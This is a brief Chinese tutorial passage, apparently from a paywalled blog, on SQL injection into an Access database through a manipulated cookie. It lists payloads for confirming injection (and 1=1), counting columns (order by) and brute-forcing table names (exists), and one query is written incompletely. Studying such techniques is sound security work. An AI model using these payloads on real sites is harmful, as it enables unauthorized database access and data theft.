本文介绍了一种Access注入技术，通过编码和特殊构造的SQL查询来探测数据库的字段数量和名称。利用`exists`和`order by`等关键字，可以判断注入的存在并进行表名和字段名的爆破。通过`document.cookie`设置，观察返回结果的报错信息和回显，可以确定字段的数量和位置。
escape :对内容进行编码
exists :判断是否存在（检测语句执行的结果是否存在存在回显正常，没有则回显错误）
document.cookie=”id=”+escape(“105 and 1=1”) 或者 1=2 #判断是否存在注入
document.cookie=”id=”+escape(“105 order by 26”) #判断字段数
document.cookie=”id=”+escape(“105 and exists(select from 表名字)”) #可以对表名字段名进行爆破。
查看字段的长度可以看出来
最低0.47元/天 解锁文章
545
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
